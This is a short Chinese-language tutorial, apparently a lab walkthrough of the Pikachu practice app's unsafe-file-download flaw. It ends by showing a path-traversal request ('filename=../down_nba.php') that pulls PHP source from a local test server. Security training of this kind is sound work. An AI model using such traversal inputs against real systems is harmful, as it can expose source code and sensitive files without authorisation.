不安全的文件下载

我们随便看一个下载链接

1
http://192.168.17.129:8000/vul/unsafedownload/execdownload.php?filename=kb.png

我们看到 filename=kb.png 那我们将 filename 后面对应的文件改掉怎么样?我们发现文件不存在,这是怎么回事。

1
http://192.168.17.129:8000/vul/unsafedownload/execdownload.php?filename=down_nba.php

我们通过浏览器看图片的相对路径,发现前面多了一个 download 文件夹,很像上一节的本地包含。

![](../../img/docs/pikachu/Unsafe Filedownload/1738548563371-688798e2-0762-4471-8a7c-f44b68e8fbae.png)

说干就干,我们把路径改成下面这样

1
http://192.168.17.129:8000/vul/unsafedownload/execdownload.php?filename=../down_nba.php

OK,down_nba.php 下载下来了。